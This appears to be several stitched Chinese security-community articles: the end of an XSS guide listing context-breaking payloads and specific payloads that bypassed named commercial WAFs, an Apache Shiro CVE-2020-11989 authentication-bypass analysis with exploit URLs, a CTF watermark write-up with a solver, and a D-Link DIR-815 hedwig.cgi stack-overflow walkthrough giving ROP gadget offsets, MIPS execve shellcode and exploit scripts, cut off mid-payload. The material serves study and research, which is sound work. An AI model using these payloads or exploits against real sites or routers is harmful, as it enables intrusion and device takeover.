上下文。当用户输入显示在HTML注释中时，`<--$input-->`或者在以下标记之间，会发生不可执行的上下文：
<style>
<title>
<noembed>
<template>
<noscript>
<textarea>
为了执行payload，必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试，可以按如下方式进行：
* `</tag>`
* `</tAg/x>`
* `</tag{space}>`
* `</tag//>`
* `</tag%0a>`
* `</tag%0d>`
* `</tag%09>`
一旦发现有效的结束标签方案，`{closing tag}{any payload from executable payload section}`
就可以用于成功注入。
### 内部标签
**在属性值内/作为属性值**
此上下文的主字符是用于包含属性值的引号。例如，如果输入被显示为`<input value="$input"
type="text">`那么主字符应该是`"`。然而在某些情况下，主字符不需要突破上下文。
**在事件处理程序内部**
如果输入显示在与事件处理程序关联的值中，例如，`<tag
event_handler="function($input)";`触发事件处理程序将执行该值中存在的JavaScript。
**在src属性里面**
如果输入被显示为`src`脚本或iframe标记的属性值，例如`<script
src="$input">`，可以直接加载恶意脚本（在脚本标记的情况下）或网页（在iframe标记的情况下）如下：
`<script src="http://example.com/malicious.js">`
绕过URL匹配正则表达式：
* `//example.com/xss.js` 绕过 `http(?s)://`
* `////////example.com/xss.js` 绕过`(?:http(?s):?)?//`
* `////\/example.com/xss.js` 绕过 `(?:http(?s):?)?//+`
**在srcdoc属性里面**
如果输入被显示为`srcdoc`iframe标签的属性值，例如`<iframe
srcdoc="$input">`，可以提供一个转义（使用HTML实体）HTML文档作为payload，如下所示：
`<iframe srcdoc="<svg/onload=alert()>">`
**通用属性**
上述所有情况都不需要任何旁路技术，除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见，最常见的类型如下：
`<input type="text" value=""/onfocus="alert()$input">`
基于相关标签的交互性，它可以进而分为两类。
**可交互的**
当输入显示在可以与例如点击，悬停，聚焦等交互的标签内时，突破上下文只需要引用一句话。在这种情况下的payload方案是：
`{quote}{filler}{event_handler}{?filler}={?filler}{javascript}`
可以使用以下探针完成检查是否被WAF阻止：
`x"y`
事件处理程序在这里起着重要作用，因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序，并且由用户来查找这样的情况，但是有一些事件处理程序可以绑定到下面列出的任何标签：
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
测试其余组件可以使用前面已经讨论过的方法。
**难控制的**
当输入显示在无法与之交互的标签内时，需要使用标签本身来执行payload。这种情况的payload方案是：
`{quote}>{any payload scheme from html context section}`
## JavaScript上下文
**作为字符串变量**
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。
`var name = '$input';`
**Payload方案#1**
`{quote}{delimiter}{javascript}{delimiter}{quote}`
分隔符通常是JavaScipt运算符，诸如`^`。例如，如果用户输入落在单个带引号的字符串变量中，则payload可能是：
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
**Payload方案#2**
{quote}{delimiter}{javascript}//
它与之前的payload方案类似，只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是：
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
**在代码块中**
输入经常被显示到代码块中。例如，如果用户已付费订阅且超过18岁，则网页会执行某些操作。具有反射输入的JavaScript代码如下所示：
function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
假设我们没有为订阅付费。为了解决这个问题，我们需要绕过`if
(subscription)`块，这可以通过关闭条件块，函数调用等来完成。如果用户输入是`');}}alert();if(true){('`，它将显示如下：
function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
这里有个缩进视图用于了解payload的工作原理：
`function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
}`
`);`关闭当前的函数调用。
第一个`}`关闭`if (age > 18)`块。
第二个`}`关闭`if subscription`块。
`alert();`用作测试的虚拟函数。
`if(true){`启动一个`if`条件块以保持代码在语法上有效，因为代码后面有一个else块。
最后，`('`结合我们最初注入的函数调用的剩余部分。
它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程，建议使用语法高亮 **显示器，** 例如 **Sublime Text** 。
payload的结构取决于代码本身，这种不确定性使得检测非常困难。但如果有需要，可以对代码进行混淆处理。例如，上面代码块的payload可以写成：
`');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('`
如果输入显示到JavaScript代码中，无论它是在代码块还是变量字符串中，`</scRipT{?filler}>{html context
payload}`都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试，因为它很简单但也可能被检测到。
## 当前绕过WAF方案
在研究期间，共绕过了8个WAF。我对这些供应商进行了披露，因此一些（或所有）旁路可能因此被修补。以下是绕过的WAF名称，payload和旁路技术列表：
**名称：** Cloudflare
**payload：** `<a"/onclick=(confirm)()>click`
**旁路技术：** 非空白填充
**名称：** Wordfence
**Payload：** `<a/href=javascript:alert()>click`
**旁路技术：** 数字字符编码
**名称：** Barracuda
**Payload：** `<a/href=Java%0a%0d%09script:alert()>click`
**旁路技术：** 数字字符编码
**名称：** Akamai
**payload：** `<d3v/onauxclick=[2].some(confirm)>click`
**旁路技术：** 黑名单中缺少事件处理程序和函数调用混淆
**名称：** Comodo
**Payload：** `<d3v/onauxclick=(((confirm)))``>click`
**旁路技术：** 黑名单中缺少事件处理程序和函数调用混淆
**名称：** F5
**payload：** `<d3v/onmouseleave=[2].some(confirm)>click`
**旁路技术：** 黑名单中缺少事件处理程序和函数调用混淆
**名称：** ModSecurity
**payload：** `<details/open/ontoggle=alert()>`
**旁路技术：** 黑名单中缺少标签（或事件处理程序）
**名称：** dotdefender
**payload：** `<details/open/ontoggle=(confirm)()//`
**旁路技术：** 黑名单中缺少标签或函数调用混淆以及可替换的结束标签
## 参考
* [HTML specification](https://www.w3.org/TR/html52/)
* [Numeric character reference](https://en.wikipedia.org/wiki/Numeric_character_reference) | 社区文章 |
# Apache Shiro权限绕过漏洞CVE-2020-11989分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
Apache Shiro作为Java框架，可被用于身份认证、授权等任务。
整合Apache Shiro至Spring Boot中时，请求可能会导致越权绕过身份验证现象的出现，存在两种较好的利用现象，称为利用方法1和利用方法2。
存在安全缺陷的版本：Apache Shiro 1.5.3以前的版本。JDK:1.8.0_181。
认为应清晰Spring Boot、Apache Shiro框架源码的逻辑功能。
清晰常见的反过滤、非常规字符的特点。
## 利用方法1
### 环境
设置Tomcat根目录为“/test/”【仅Apache Shiro
1.5.2有此严格限制】，端口为8088；设置“./admin/*”路径需要认证访问，成功则显示“hello, admin
page”，具体配置见源代码【https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master0】。
### 目标
绕过认证访问“./admin/*”路径。
### 分析方法
对于输入的恶意URL http://localhost:8088/;/test/admin/page
，首先采用Shiro进行权限验证处理。Shiro框架的decodeAndCleanUriString方法会根据“；”截取URI“/;/test//admin/page”的前部分内容，从而使得此请求通过权限验证。依次经过的重要类、方法如下：
随后，在Spring框架中解析URL。关键点是在解码过程中，仅剔除URI中“;”而保全其他所有内容，从而解析得目标路径“/admin/page”。依次经过的重要类、方法如下：
## 利用方法2
### 环境
设置Tomcat根目录为“/test/”【仅Apache Shiro
1.5.2有此严格限制】，端口为8081；设置“./admin/*”路径需要认证访问，成功则显示“hello,admin”，具体配置见源代码【https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master】。
### 目标
绕过认证访问“./admin/{name}”路径。
### 分析方法
对于输入的恶意URL http://localhost:8081/test/admin/a%25%32%66a
首先采用Shiro进行权限验证处理。Shiro框架的decodeRequestString方法会进行两次解码得到URI
/admin/a/a，并因其分割后的数组长度大于模板“/admin/*”而使得此请求通过权限验证。依次经过的重要类、方法如下：
随后，在Spring框架中解析URL。关键点是在解码过程中，仅解码得路径是“/test/admin/a%252f”，因此符合“/admin/{name}”规则得以正常访问。依次经过的重要类、方法如下：
## 补丁分析
如下图，修改了org.apache.shiro.web.util.WebUtils#getPathWithinApplication，采用两个标准方法获取URI有效应对了“/;/…”安全缺陷，且无解码操作从而有效应对了“a%25%32%66a”安全缺陷。
## docker复现
加载容器tar为镜像的例子：
cat ./ubuntu-xxx.tar | docker import – ubuntu-new
设置局域网及容器ip、启动容器的例子：
（1）自定义网络
docker network create —subnet=192.168.10.1/24 testnet
（2）启动docker容器
docker run -p 8088:8088 -p 8081:8081 -it —name testt3 —hostname testt3
—network testnet —ip
10.10.10.100 ubuntuxxx:xxx /bin/bash
镜像名称为ubuntu_cve-2020-11989:v1，需开启8088和8081的端口映射功能。
启动进入容器后，复现利用方法1。切换到目录【/springboot-shiro-master0/target】下，执行命令【java -jar
srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入
【http://localhost:8088/;/test/admin/page】， 成功访问表明复现成功，如下图。
复现利用方法2。中断当前程序，切换到目录【/springboot-shiro-master1/target】下，执行命令【java -jar
srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入
【http://localhost:8081/test/admin/a%25%32%66a】， 成功访问表明复现成功，如下图。
## 参考资料
https://www.freebuf.com/vuls/249380.html
https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
idea 快速创建spring boot项目 以及打包 – 知乎
https://zhuanlan.zhihu.com/p/149736921 | 社区文章 |
# 第七届“湖湘杯” leaker | 设计思路与解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本题由NanoApe师傅提供，赛后将该题的设计思路公开，供大家学习交流。本题的 idea 来源于互联网公司内部的用于防泄密的数字水印。
## 数字水印
“数字水印”一词是由Andrew Tirkel和Charles Osborne于1992年12月提出，并于次年与Gerard
Rankin一起成功地嵌入、提取了扩频掩密水印。
数字水印是一种隐蔽地嵌入到音频、视频或图像数据等信号的标记，这个标记并不影响原有的信号，它通常用于验证数据的真实性、完整性，或者标识其所有者的信息，起到版权保护的作用。
与传统的物理水印一样，数字水印通常只能在特定条件下（如在使用了一些算法后）才能被感知。传统水印可以应用于可见媒体（如图像或视频），而数字水印的信号可以是音频、图片、视频、文本或者3D模型，一个信号也可能携带几个不同的数字水印。
隐写术和数字水印都是采用隐写技术将数据隐蔽地嵌入到信号中，但前者旨在实现人类感官上的不可感知性，而数字水印的重心在于鲁棒控制。
数字水印的一种应用是追踪溯源。水印被嵌入到每个分布点的数字信号中，如果找到作品的副本，则可以从副本中检索水印，从而得知分发的来源。
## writeup
解压题目附件，得到一张截图。
我们先用 Stegsolve 读取图片，看一下图片各个层面的信息。我们发现图片是 RGBA 模式，而 Alpha 通道只有 255 和 254
两种取值，说明最低位有问题。
很容易发现像素分布存在一定规律，那么我们后面研究的重点就从这里展开。
先单独提取出来得到 01
矩阵。对于水印题，我们要做的事情就是找规律。一般来说，为了做到随机截取图片任意一块还能完整读取水印包含的信息，水印会将想要隐藏的信息重复填写，达到抗修改的效果，所以可以尝试先寻找数据的规律。
首先可以发现，行存在重复出现的规律，周期是 76 行，也就是说第 1 行的数据和第 77 行的数据是一样的。
看起来行与行之间还是有点重复的规律，于是我们取出第 1 行所代表的 01 序列的前缀，大概取前 40 个 01 数据就好，然后在图中查找，发现这串 01
序列前缀同样出现在了第 3,5,7… 行中。
通过分析我们可以发现数据隔两行就会重复一次，因此我们可以将分析数据的范围缩小成两行。
然后我们再尝试查找这两行有没有什么重复的模式，发现这两行内出现了很多次 2×4 的 0 矩阵，而每两个 0
矩阵之间的信息都是一样的，这让我们又可以将范围缩小。到这里我们就得到了完整的一份信息经过加密后的结果。
接着我们发现第一行每隔 4 位都为 0，可以猜测是 ASCII 码的最高位，于是猜测每 2×4 个矩阵代表一个字符的 ASCII 码。
通过分析 ASCII 码的 01 分布规律，我们发现第二行第二列的格子上的 01 分布是不均匀的，因此我们可以猜测该地方为 ASCII 的第 4 位，
再根据第二行第一列以及第一行第二列的 01 分布情况，结合 [0-9a-zA-Z] 的 ASCII 码在各个二进制位上的 01
分布情况，进行一一对应，最后推测出解读方法：
1 | 3 | 5 | 7
---|---|---|---
2 | 4 | 6 | 8
解读数据，得到一串 Base64 编码
`ZmxhZ3tlZjNkZTIzYS02MTRhLTQ4NjYtYjIzYi0yNDk2MjBiYTk1ZWR9`，解码得到 flag 。
## exp脚本
from PIL import Image
import numpy as np
import random
import base64
im = Image.open('leaker.png')
im = np.asarray(im)
x, y, z = im.shape
print(im.shape)
c = []
for j in range(y):
c.append(1 - im[0, j, 3] // 255)
c.append(1 - im[1, j, 3] // 255)
c = ''.join([str(x) for x in c])
c = c[:c.find('00000000')]
flag = ''.join([chr(int(c[i:i+8], 2)) for i in range(0, len(c), 8)])
print(flag)
print(base64.b64decode(flag.encode()))
## 随想
自《中华人民共和国数据安全法》施行后，企业应当落实数据安全保护责任，加强风险监测。出于对数据安全保护的需求，企业可以在敏感文件中增加数字水印，一旦发生泄密事件，即可从文件中提取水印信息，快速、精准地追溯责任人。使用数字水印，企业可以规范数据外发流程，起到保护企业数据资产的目的。
本题附件：
<https://github.com/chunqiugame/cqb_writeups/raw/master/2021hxb/leaker_4a03eb590cb2db880820e52b475e3def.zip>
### End
> 春秋GAME伽玛实验室
> 会定期分享赛题赛制设计、解题思路……
> 如果你日常有一些技术研究和好的设计思路
> 或在赛后对某道题有另辟蹊径的想法
> 欢迎找到春秋GAME投稿哦～
> 联系vx:cium0309 | 社区文章 |
[TOC]
# 00-前言
之前跟着《揭秘家用路由器0day漏洞挖掘技术》调试分析过该漏洞，主要是从qemu用户模式进行分析调试，因为太菜了并没有getshell，在参考了其他师傅的分析文章和帖子后，这次分析增加了qemu系统模式调试,Firmadyne仿真测试以及实体机测试，虽然这次的用户模式还是没能getshell（发这个帖子还是希望有经验的师傅帮忙分析下问题所在），但是其他三种方式都能成功。
# 01-漏洞介绍
> Buffer overflow on "hedwig.cgi"
> Another buffer overflow affects the "hedwig.cgi" CGI script.
> Unauthenticated remote attackers can invoke this CGI with an overly-long
> cookie value that can overflow a program buffer and overwrite the saved
> program address.
从漏洞公告中可以看出，该漏洞存在于名为 **"hedwig.cgi"** 的CGI脚本中，未认证攻击者通过调用这个CGI脚本传递一个
**超长的Cookie值** ，使得程序 **栈溢出** ，从而获得路由器的远程控制权限。
# 02-调试环境
* ubuntu16.04 x64虚拟机：安装了常用的pwn环境，binwalk等工具用于路由器固件调试分析
* IDA6.8：静态分析同时安装mipsrop插件寻找rop链，与gdb进行动态调试
* Ghidra：反汇编反编译mips架构程序，目前只用于静态分析
* qemu2.5：利用qemu的用户和系统模式运行固件
* gdbserver：利用大佬已经编译好的[gdbserver](https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.mipsle)，也可以自己编译生成
* Firmadyne：全系统仿真工具，模拟运行路由器固件，本质还是基于qemu的系统模式
* D-Link DIR-815 v1.01路由器实体机：用于测试分析结果
* 固件下载：ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
# 03-漏洞定位
`binwalk -Me`解压
该漏洞的核心组件为hedwig.cgi，`find . -name '*cgi'`查找文件，并`ls -l
./htdocs/web/hedwig.cgi`发现hedwig.cgi是指向./htdocs/cgibin的符号链接，也就是说真正的漏洞代码在cgibin中。
由之前的漏洞介绍可以知道`HTTP_COOKIE`过长导致漏洞，分别用IDA和ghidra打开cgibin这个文件，在string窗口中进行搜索`HTTP_COOKIE`
分析一下这个函数，就是提取`HTTP_COOKIE`里面的`uid=`之后的部分。交叉引用一下，找到了`hedwigcgi_main`函数。
`获取到`HTTP_COOKIE`中`uid=`之后的值，并将该内容按照`sprintf`函数中格式化字符串给定的形式拷贝到栈中，由于没有检测并限制输入的大小，导致栈溢出。
但是继续往后看该函数中后面还有一个`sprintf`函数，第四个参数同样是`HTTP_COOKIE`中`uid=`后面的内容，这一块按道理来说也可以导致栈溢出。而且如果可以执行该`sprintf`函数则能覆盖之前`sprintf`函数栈上的内容。
在《揭秘家用路由器0day漏洞挖掘技术》一书中写到，如果在文件系统中手工创建`/var/tmp`文件夹，就能够到达第二个`sprintf`函数。我对比了下有无`/var/tmp`文件夹的返回结果:
无`/var/tmp`，返回unable to open temp file。
有`/var/tmp`，返回no xml data。
想着往里面写个/temp.xml文件并添加内容就可以了吧，结果发现还是返回no xml
data。因为fopen打开该文件的方式是'w'，创建一个用于写入的空文件。如果文件名称与已存在的文件相同，则会删除已有文件的内容，文件被视为一个新的空文件。所以只要执行了这条指令文件内容就会被清空，返回值一定是`no
xml data`，所以利用qemu用户模式这样调试的话，是到不了第二个`sprintf`函数。
所以漏洞点是第一个`sprintf`函数，挺多帖子也是分析得到第一个`sprintf`函数是漏洞点。其实是第一个还是第二个对于用户模式下的调试并没有多大关系，就是偏移不一样罢了，构造rop链方法都是一样的。但是对于真实设备而言，就需要找到真正的漏洞点在哪。
## 3-1漏洞重新定位
爆肝一晚，参考一个大佬的[文章](https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN)，发现了为什么到达不了第二个sprintf的原因。
还需要POST数据包中包含”uid=……”，否则运行不了下面的代码，
.text:00409AB0 la $t9, sobj_strdup
.text:00409AB4 lw $a0, 4($s0)
.text:00409AB8 jalr $t9 ; sobj_strdup
.text:00409ABC nop
.text:00409AC0 lw $ra, 0x20+var_4($sp)
.text:00409AC4 lui $v1, 0x43 # 'C'
.text:00409AC8 lw $gp, 0x20+var_10($sp)
.text:00409ACC lw $s0, 0x20+var_8($sp)
.text:00409AD0 sw $v0, haystack
.text:00409AD4 jr $ra
.text:00409AD8 addiu $sp, 0x20
从而无法申请一个新的堆空间，这样haystack中值将为0，在运行完第一个sprinf之后会进入loc_4096D4，如果haystack为0将则不会进入loc_4096F0分支，进而跳转不了第二个sprintf()。
.text:004096D4 loc_4096D4: # CODE XREF: hedwigcgi_main+240j
.text:004096D4 lw $v0, haystack
.text:004096DC nop
.text:004096E0 bnez $v0, loc_4096F0
.text:004096E4 lui $v0, 0x42 # 'B'
.text:004096E8 b loc_409A64
.text:004096EC addiu $a1, $v0, (aNoXmlData_ - 0x420000) # "no xml data."
如何使POST数据包中包含”uid=……”，看了大佬们的文章还有《0day》那本书中的测试脚本发现，POST具体数据可以通过类似输入流传入 ：echo
"uid=aaa"| /htdocs/web/hedwig.cgi。然后前提也是需要手工创建'/var/tmp'文件夹。
# 04-漏洞分析与利用
## 4.1-漏洞分析
hedwigcgi_main()在调用get_sess_uid函数前需要设置环境变量REQUEST_METHOD为POST。
cgi程序通过getenv的方式获取HTTP数据包中的数据，整个流程应该为:
主Web程序监听端口->传送HTTP数据包->HTTP报文中headers等数据通过环境变量的方式传给cgi处理程序->cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
漏洞点sprintf函数
sprintf(栈上的内容,"%s/%s/postxml","/runtime/session",uid的内容)uid的内容是由用户控制的，却没有长度限制，而栈空间有限，hedwigcgi_main同时是一个非叶子函数，那么ra一定存在栈上，我们接下来要做的就是覆盖栈空间内的saved
ra达到控制程序流程的目的。
## 4.2-漏洞利用
整个漏洞利用过程是
* 劫持PC，通过调试确定缓冲区大小，定位并确定控制偏移
* 确定攻击路径，构造ROP链
* 编写exp,getshell
### 4.2.1-劫持PC，确定偏移
利用qemu和IDA进行动态调试,用的是（IDA6.8,qemu2.5）
调试脚本test.sh，其中需要sudo chroot 到文件系统下，然后利用qemu-mipsel-static用户模式进行调试，-E是对应环境变量的参数。-g 指定调试端口，“2> /dev/null” 代表忽略掉错误提示信息。
#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
在这之前需要利用patternLocOffset.py生成test文件，包含特定格式的2000个字符串。
`python patternLocOffset.py -c -l 2000 -f test`
使用IDA调试发现运行到hedwigcgi_main()返回时ra寄存器中的值为0x38694237
`python patternLocOffset.py -s 0x38694237 -l 2000`确定缓冲区距离ra的距离为1043。
可以通过修改test.sh中的`test =$(python -c "print 'uid=' + 'A'*1043 +
'B'*4")`进一步确定偏移为1043。
以上是触发第一个sprintf()的偏移。
#### 4.2.1.1-重新确定偏移
更改test.sh，在脚本中加入echo "uid=xxx"。
#!/bin/bash
#sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
INPUT="$1"
COOKIE="$2"
PORT="23957"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu
echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu
执行命令
sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
调试之后发现确实能够触发第二个sprintf()。
并且覆盖了ra=68423668。
计算得到偏移为1009。
### 4.2.2-选择攻击路径构造ROP链
#### 4.2.2.1-通过system函数getshell
主要目的是调用system('/bin/sh')来getshell，system函数在libc.so中找，参数'/bin/sh'首先放入栈中，然后利用gadget将栈上的'/bin/sh'传入a0寄存器，再调用system函数即可。
1.定位system函数地址
首先需要先找到调用了哪个动态链接库libc.so，然后在libc.so中定位system函数。
通过以下过程：
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :23957
b *0x409A54 #hedwigcgi_main()函数返回jr ra处
c
vmmap
为了以后不用每次都输入固定的指令可以编写一个dbgscript
set architecture mips
set endian little
target remote :23957
b *0x409a54
gdb-multiarch调试的时候执行`gdb-multiarch htdocs/cgibin -x dbgscript`，-x是指定要执行的命令文件。
得到libuClibc-0.9.30.1.so的基地址为0x76738000。
找到libuClibc-0.9.30.1.so用IDA打开，system函数在0x53200处。
这样就得到了system函数的真实地址0x76738000+0x53200=0x7678b200。
2.绕过坏字符\x00构造rop链
因为system函数的最低位为\x00，在构造HTTP_COOKIE的时候\x00会被sprintf截断，其实还到不了sprintf函数，前面的sess_get_uid函数只获取uid=之后\x00字符之前的字符串，进而导致缓冲区溢出失败。所以构造shellcode时需要对system函数的真实地址-1：0x7678b200-1=0x7678b1ff，再寻找gadget将其加1即可。
有了system函数，接下来考虑如何将system函数的第一个参数从栈中拷贝到寄存器a0中，在libuClibc-0.9.30.1.so利用mipsrop插件中的`mipsrop.stackfinder()`命令查找能将栈中数据放入寄存器的gadget。在0x159cc处发现可将当前栈$sp+0x10处的值存入寄存器s5并跳转至s0。并且在跳转之前将$s5的内容给到$a0，$a0=$(sp+0x10),这样system函数的第一个参数就能从栈中得到了。
继续在libuClibc-0.9.30.1.so中寻找能够将system函数地址+1的gadget，使用mipsrop插件，`mipsrop.find("addiu
.*,1")`得到31个gadget，找到0x00045988处，这个gadget的作用是将寄存器s0中的值加一，并跳转至s1寄存器中，所以需要将system函数地址减一之后放入s0寄存器中。并将获取第一个参数a0的gadget0x159cc放入s1寄存器中。
到这里我们需要的gadget就找好，由IDA中的汇编代码可以看出我们可以控制数据覆盖ra,fp,s7~s0寄存器。
所以可以这样构造payload,结构大致如下：
这里参考下H4lo师傅的整个流程图：
3.构造的exp如下：
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x76738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += '/bin//sh'
f = open("exploit",'wb+')
f.write(padding)
f.close()
4.测试exp
执行命令：
sudo ./test.sh 'uid=1234' `python -c "print 'uid=' + open('exploit','r').read()"`
使用gdb-multiarch联调发现，确实能够跳转到gadget1处（0x76738000+0x45988=0x7677d988），将s0处的system-1地址加一。
之后顺利进入gadget1处(0x76738000+0x159cc=0x7674d9cc)处，将栈上内容(sp+0x10)先加载到s5，并在跳转s0前将s5中内容传给a0。
进入system处，a0参数为/bin//sh。
继续往下执行，发现执行完system函数返回时被中断了，因为当前指令是从(fp+0x10)处取一个字节给$gp，而当前$fp的内容为0x0空指针，(fp+0x10处)肯定无法访问。
但是在整个rop链运行过程中并没有出现给$fp赋值的操作，所以这块为什么$fp会变成0，变成空指针。这是一个问题，需要解决，应该是还是构造的rop链执行system函数的过程中出现了问题。
#### 4.2.2.2-调用sleep(1)函数
接下来考虑利用另一种方式通过调用sleep(1)函数来getshell，至于为什么利用sleep(1)函数呢，参考这篇[文章](http://xdxd.love/2016/12/09/一个mips栈溢出利用/)，里面有讲到一个问题就是cache
incoherency。MIPS CPUs有两个独立的cache： **指令cache** 和 **数据cache**
。指令和数据分别在两个不同的缓存中。当缓存满了，会触发flush，将数据写回到主内存。
**攻击者的攻击payload通常会被应用当做数据来处理，存储在数据缓存中**
。当payload触发漏洞，劫持程序执行流程的时候，会去执行内存中的shellcode。
**如果数据缓存没有触发flush的话，shellcode依然存储在缓存中，而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码，导致不可预知的后果。**
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中，处理器会切换上下文让给其他正在执行的程序，缓存会自动执行flush。
整个ROP的调用流程参考[H4lo](https://www.anquanke.com/post/id/179510#h3-6)师傅的图。
1.ROP Gadget 1
利用`mipsrop.find("li $a0,1")`寻找到0x57E50处，并且返回时跳转至s1寄存器中地址。
可以将ra处覆盖为`ra=gadget1=0x57E50+libc_base`。之后寻找第二个gadget2将其放入s1，这里不能直接将sleep函数放入s1中，因为sleep函数运行完jr
$ra时，我们控制不了，所以接下来应该是寻找能够控制$ra的gadget2.
2.ROP Gadget 2
利用mipsrop插件中的`mipsrop.tail()`该函数作用是`Prints a lits of all tail call gadgets
(useful for function
calls).`打印出所有函数尾部调用的gadget，这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。
选择0x3B8A8作为gadget2。
该gadget的作用是将栈上(sp+0x24)处的内容给到寄存器ra，然后再跳转至s2寄存器中，所以s2寄存器就可以放我们需要的sleep函数的地址。这样的话`s1=gadget2=0x3B8A8+libc_base`，`s2
= sleep+libc_base`。
sleep函数在libuClibc-0.9.30.1.so的偏移为0x56BD0。
3.ROP Gadget 3
执行完sleep函数之后需要控制程序执行栈上shellcode，这里需要用到mipsrop插件的`mipsrop.stackfinder()`，将栈上的shellcode地址存储进寄存器中。
找到0x14F28处的gadget3，所以`$(sp+0x24)=gadget3`作用是将sp+0x18处的值赋给s1，之后跳转到s4寄存器中的地址。
所以接下来我们需要的gadget4是'move $t9,$s1'，跳转到是s1也就是我们的shellcode。
4.ROP Gadget 4
利用`mipsrop.find("move $t9,$s1")`找到一下gadget。
这里选择0x1DD08作为gadget4，`s4=gadget4=0x1DD08+libc_base`。因为其他的gadget可能导致最后出现坏字符，比如我试了0xBB44，结果真实地址为0xBB44+0x76738000=0x76743b44，然而3b在sess_get_uid的时候就被截断了,所以导致rop没有构造成功。
到这里所有的gadget都找齐了，接下来开始构造exp。
5.构造exp
整个payload是这样的：
这里顺便提下构造exp时有可能的坏字符：0x20（空格）、0x00（结束符）、0x3a（冒号）、0x3f（问号）、0x3b（分号）、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。
libc_base = 0x76738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
